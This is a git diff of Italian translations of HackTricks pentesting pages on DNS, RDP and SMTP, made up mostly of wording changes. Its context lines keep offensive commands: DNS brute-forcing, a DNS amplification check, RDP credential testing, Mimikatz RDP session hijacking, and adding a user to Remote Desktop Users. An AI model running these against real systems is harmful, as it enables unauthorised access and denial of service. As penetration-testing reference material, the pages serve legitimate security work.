||||||
|
@ -148,13 +148,13 @@ Forzatura bruta utilizzando richieste "AAAA" per raccogliere gli IPv6 dei sottod
|
||||||
```bash
|
```bash
|
||||||
dnsdict6 -s -t <domain>
|
dnsdict6 -s -t <domain>
|
||||||
```
|
```
|
||||||
Effettuare il reverse DNS con attacco di forza bruta utilizzando gli indirizzi IPv6
|
Bruteforce del DNS inverso utilizzando gli indirizzi IPv6
|
||||||
```bash
|
```bash
|
||||||
dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns.ripe.net
|
dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns.ripe.net
|
||||||
```
|
```
|
||||||
### Attacco DDoS alla Ricorsione DNS
|
### Attacco DDoS alla Ricorsione DNS
|
||||||
|
|
||||||
Se la **ricorsione DNS è abilitata**, un attaccante potrebbe **spoofare** l'**origine** del pacchetto UDP per far sì che il **DNS invii la risposta al server vittima**. Un attaccante potrebbe sfruttare i record **ANY** o **DNSSEC** poiché solitamente generano risposte più grandi.\
|
Se la **ricorsione DNS è abilitata**, un attaccante potrebbe **spoofare** l'**origine** del pacchetto UDP per far sì che il **DNS invii la risposta al server vittima**. Un attaccante potrebbe sfruttare i tipi di record **ANY** o **DNSSEC** poiché solitamente generano risposte più grandi.\
|
||||||
Il modo per **verificare** se un DNS supporta la **ricorsione** è interrogare un nome di dominio e **verificare** se il flag "ra" (_ricorsione disponibile_) è presente nella risposta:
|
Il modo per **verificare** se un DNS supporta la **ricorsione** è interrogare un nome di dominio e **verificare** se il flag "ra" (_ricorsione disponibile_) è presente nella risposta:
|
||||||
```bash
|
```bash
|
||||||
dig google.com A @<IP>
|
dig google.com A @<IP>
|
||||||
|
@ -167,15 +167,15 @@ dig google.com A @<IP>
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (146).png>)
|
![](<../.gitbook/assets/image (146).png>)
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla generazione di report. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per restituire loro del tempo per approfondire, ottenere shell e divertirsi.
|
**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla generazione di report. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per permettere loro di dedicare più tempo a indagare in profondità, aprire shell e divertirsi.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/" %}
|
{% embed url="https://pentest-tools.com/" %}
|
||||||
|
|
||||||
### Email a un account inesistente
|
### Invio di posta a un account inesistente
|
||||||
|
|
||||||
Attraverso l'esame di una notifica di mancata consegna (NDN) scatenata da un'email inviata a un indirizzo non valido all'interno di un dominio target, spesso vengono rivelati dettagli preziosi sulla rete interna.
|
Attraverso l'esame di una notifica di mancata consegna (NDN) scatenata da un'email inviata a un indirizzo non valido all'interno di un dominio target, spesso vengono rivelati preziosi dettagli sulla rete interna.
|
||||||
|
|
||||||
Il rapporto di mancata consegna fornito include informazioni come:
|
Il rapporto di mancata consegna fornito include informazioni come:
|
||||||
|
|
||||||
|
@ -228,8 +228,6 @@ Impostazioni pericolose durante la configurazione di un server Bind:
|
||||||
|
|
||||||
* [https://www.myrasecurity.com/en/knowledge-hub/dns/](https://www.myrasecurity.com/en/knowledge-hub/dns/)
|
* [https://www.myrasecurity.com/en/knowledge-hub/dns/](https://www.myrasecurity.com/en/knowledge-hub/dns/)
|
||||||
* Libro: **Network Security Assessment 3rd edition**
|
* Libro: **Network Security Assessment 3rd edition**
|
||||||
|
|
||||||
## Comandi Automatici di HackTricks
|
|
||||||
```
|
```
|
||||||
Protocol_Name: DNS #Protocol Abbreviation if there is one.
|
Protocol_Name: DNS #Protocol Abbreviation if there is one.
|
||||||
Port_Number: 53 #Comma separated if there is more than one.
|
Port_Number: 53 #Comma separated if there is more than one.
|
||||||
|
@ -282,22 +280,22 @@ Description: DNS enumeration without the need to run msfconsole
|
||||||
Note: sourced from https://github.com/carlospolop/legion
|
Note: sourced from https://github.com/carlospolop/legion
|
||||||
Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; set RPORT 53; run; exit' && msfconsole -q -x 'use auxiliary/gather/enum_dns; set RHOSTS {IP}; set RPORT 53; run; exit'
|
Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; set RPORT 53; run; exit' && msfconsole -q -x 'use auxiliary/gather/enum_dns; set RHOSTS {IP}; set RPORT 53; run; exit'
|
||||||
```
|
```
|
||||||
<figure><img src="../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla generazione di report. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per permettere loro di approfondire, ottenere shell e divertirsi.
|
**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla segnalazione. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per permettere loro di approfondire, ottenere shell e divertirsi.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/" %}
|
{% embed url="https://pentest-tools.com/" %}
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
Altri modi per supportare HackTricks:
|
||||||
|
|
||||||
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -10,11 +10,11 @@ Altri modi per supportare HackTricks:
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione**. Esegui un test di penetrazione completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla segnalazione. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per dare loro più tempo per approfondire, aprire shell e divertirsi.
|
**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione**. Esegui un test di penetrazione completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla segnalazione. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per dare loro più tempo per approfondire, aprire shell e divertirsi.
|
||||||
|
|
||||||
|
@ -22,7 +22,7 @@ Altri modi per supportare HackTricks:
|
||||||
|
|
||||||
## Informazioni di base
|
## Informazioni di base
|
||||||
|
|
||||||
Sviluppato da Microsoft, il **Protocollo Desktop Remoto** (**RDP**) è progettato per consentire una connessione dell'interfaccia grafica tra computer su una rete. Per stabilire tale connessione, il software client **RDP** è utilizzato dall'utente e contemporaneamente il computer remoto deve operare con il software server **RDP**. Questa configurazione consente il controllo e l'accesso senza soluzione di continuità dell'ambiente desktop di un computer remoto, portando essenzialmente la sua interfaccia al dispositivo locale dell'utente.
|
Sviluppato da Microsoft, il **Remote Desktop Protocol** (**RDP**) è progettato per consentire una connessione dell'interfaccia grafica tra computer su una rete. Per stabilire tale connessione, il software client **RDP** è utilizzato dall'utente e contemporaneamente il computer remoto deve operare con il software server **RDP**. Questa configurazione consente il controllo e l'accesso senza soluzione di continuità dell'ambiente desktop di un computer remoto, portando essenzialmente la sua interfaccia al dispositivo locale dell'utente.
|
||||||
|
|
||||||
**Porta predefinita:** 3389
|
**Porta predefinita:** 3389
|
||||||
```
|
```
|
||||||
|
@ -33,7 +33,7 @@ PORT STATE SERVICE
|
||||||
|
|
||||||
### Automatico
|
### Automatico
|
||||||
|
|
||||||
{% codice overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
|
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
|
||||||
```
|
```
|
||||||
|
@ -67,9 +67,9 @@ rdp\_check.py di impacket ti permette di verificare se alcune credenziali sono v
|
||||||
```bash
|
```bash
|
||||||
rdp_check <domain>/<name>:<password>@<IP>
|
rdp_check <domain>/<name>:<password>@<IP>
|
||||||
```
|
```
|
||||||
<figure><img src="../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla segnalazione. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per restituire loro del tempo per approfondire, aprire shell e divertirsi.
|
**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla generazione di report. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per restituire loro del tempo per approfondire, aprire shell e divertirsi.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/" %}
|
{% embed url="https://pentest-tools.com/" %}
|
||||||
|
|
||||||
|
@ -91,7 +91,7 @@ Ora sarai all'interno della sessione RDP selezionata e dovrai impersonare un ute
|
||||||
|
|
||||||
**Importante**: Quando accedi a sessioni RDP attive, disconnetterai l'utente che la stava utilizzando.
|
**Importante**: Quando accedi a sessioni RDP attive, disconnetterai l'utente che la stava utilizzando.
|
||||||
|
|
||||||
Potresti ottenere le password dal processo di dump, ma questo metodo è molto più veloce e ti consente di interagire con i desktop virtuali dell'utente (password in notepad senza essere salvate su disco, altre sessioni RDP aperte su altre macchine...)
|
Potresti ottenere le password dal processo di dumping, ma questo metodo è molto più veloce e ti consente di interagire con i desktop virtuali dell'utente (password in notepad senza essere salvate su disco, altre sessioni RDP aperte su altre macchine...)
|
||||||
|
|
||||||
#### **Mimikatz**
|
#### **Mimikatz**
|
||||||
|
|
||||||
|
@ -104,7 +104,7 @@ ts::remote /id:2 #Connect to the session
|
||||||
|
|
||||||
Combinando questa tecnica con **stickykeys** o **utilman sarai in grado di accedere a un CMD amministrativo e a qualsiasi sessione RDP in qualsiasi momento**
|
Combinando questa tecnica con **stickykeys** o **utilman sarai in grado di accedere a un CMD amministrativo e a qualsiasi sessione RDP in qualsiasi momento**
|
||||||
|
|
||||||
Puoi cercare le RDP che sono state compromesse con una di queste tecniche già con: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
|
Puoi cercare le RDP che sono state backdoorate con una di queste tecniche già con: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
|
||||||
|
|
||||||
### Iniezione di Processi RDP
|
### Iniezione di Processi RDP
|
||||||
|
|
||||||
|
@ -122,14 +122,16 @@ net localgroup "Remote Desktop Users" UserLoginName /add
|
||||||
|
|
||||||
* [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
|
* [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
|
||||||
|
|
||||||
**AutoRDPwn** è un framework di post-exploitation creato in Powershell, progettato principalmente per automatizzare l'attacco **Shadow** sui computer Microsoft Windows. Questa vulnerabilità (elencata come una funzionalità da Microsoft) consente a un attaccante remoto di **visualizzare il desktop della vittima senza il suo consenso**, e addirittura controllarlo a richiesta, utilizzando strumenti nativi del sistema operativo stesso.
|
**AutoRDPwn** è un framework di post-exploitation creato in Powershell, progettato principalmente per automatizzare l'attacco **Shadow** sui computer Microsoft Windows. Questa vulnerabilità (elencata come una funzionalità da Microsoft) consente a un attaccante remoto di **visualizzare il desktop della vittima senza il suo consenso**, e persino controllarlo su richiesta, utilizzando strumenti nativi del sistema operativo stesso.
|
||||||
|
|
||||||
* [**EvilRDP**](https://github.com/skelsec/evilrdp)
|
* [**EvilRDP**](https://github.com/skelsec/evilrdp)
|
||||||
* Controlla il mouse e la tastiera in modo automatizzato da riga di comando
|
* Controlla il mouse e la tastiera in modo automatizzato da riga di comando
|
||||||
* Controlla gli appunti in modo automatizzato da riga di comando
|
* Controlla gli appunti in modo automatizzato da riga di comando
|
||||||
* Avvia un proxy SOCKS dal client che instrada la comunicazione di rete verso il target tramite RDP
|
* Avvia un proxy SOCKS dal client che instrada la comunicazione di rete verso il target tramite RDP
|
||||||
* Esegue comandi SHELL e PowerShell arbitrari sul target senza caricare file
|
* Esegui comandi SHELL e PowerShell arbitrari sul target senza caricare file
|
||||||
* Carica e scarica file da/per il target anche quando i trasferimenti di file sono disabilitati sul target
|
* Carica e scarica file da/per il target anche quando i trasferimenti di file sono disabilitati sul target
|
||||||
|
|
||||||
|
## Comandi Automatici di HackTricks
|
||||||
```
|
```
|
||||||
Protocol_Name: RDP #Protocol Abbreviation if there is one.
|
Protocol_Name: RDP #Protocol Abbreviation if there is one.
|
||||||
Port_Number: 3389 #Comma separated if there is more than one.
|
Port_Number: 3389 #Comma separated if there is more than one.
|
||||||
|
@ -148,22 +150,22 @@ Name: Nmap
|
||||||
Description: Nmap with RDP Scripts
|
Description: Nmap with RDP Scripts
|
||||||
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
|
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
|
||||||
```
|
```
|
||||||
<figure><img src="../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla generazione di report. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per permettere loro di dedicare più tempo a scavare in profondità, aprire shell e divertirsi.
|
**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e penetration testing**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla generazione di report. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per restituire loro del tempo per approfondire, aprire shell e divertirsi.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/" %}
|
{% embed url="https://pentest-tools.com/" %}
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
Altri modi per supportare HackTricks:
|
||||||
|
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -6,17 +6,17 @@
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
Altri modi per supportare HackTricks:
|
||||||
|
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e penetration testing**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla segnalazione. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per restituire loro del tempo per approfondire, aprire shell e divertirsi.
|
**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e penetration testing**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla segnalazione. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per dare loro più tempo per approfondire, aprire shell e divertirsi.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/" %}
|
{% embed url="https://pentest-tools.com/" %}
|
||||||
|
|
||||||
|
@ -195,7 +195,7 @@ RemoteCmd()
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla segnalazione. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per restituire loro del tempo per approfondire, aprire shell e divertirsi.
|
**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla segnalazione. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per restituire loro del tempo per approfondire, aprire shell e divertirsi.
|
||||||
|
|
||||||
|
@ -207,10 +207,10 @@ RemoteCmd()
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
Altri modi per supportare HackTricks:
|
||||||
|
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Unisciti al** 💬 [**Gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,7 +2,7 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
<summary><strong>Impara l'hacking AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
Altri modi per supportare HackTricks:
|
||||||
|
|
||||||
|
@ -14,7 +14,7 @@ Altri modi per supportare HackTricks:
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione**. Esegui un test di penetrazione completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla segnalazione. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per restituire loro del tempo per approfondire, aprire shell e divertirsi.
|
**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione**. Esegui un test di penetrazione completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla segnalazione. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per restituire loro del tempo per approfondire, aprire shell e divertirsi.
|
||||||
|
|
||||||
|
@ -33,9 +33,9 @@ PORT STATE SERVICE REASON VERSION
|
||||||
```
|
```
|
||||||
### Intestazioni EMAIL
|
### Intestazioni EMAIL
|
||||||
|
|
||||||
Se hai l'opportunità di **far inviare all'utente un'email** (tramite il modulo di contatto della pagina web per esempio), fallo perché **potresti apprendere la topologia interna** della vittima osservando le intestazioni dell'email.
|
Se hai l'opportunità di **far inviare all'utente un'email** (tramite il modulo di contatto della pagina web, ad esempio), fallo perché **potresti apprendere la topologia interna** della vittima osservando le intestazioni dell'email.
|
||||||
|
|
||||||
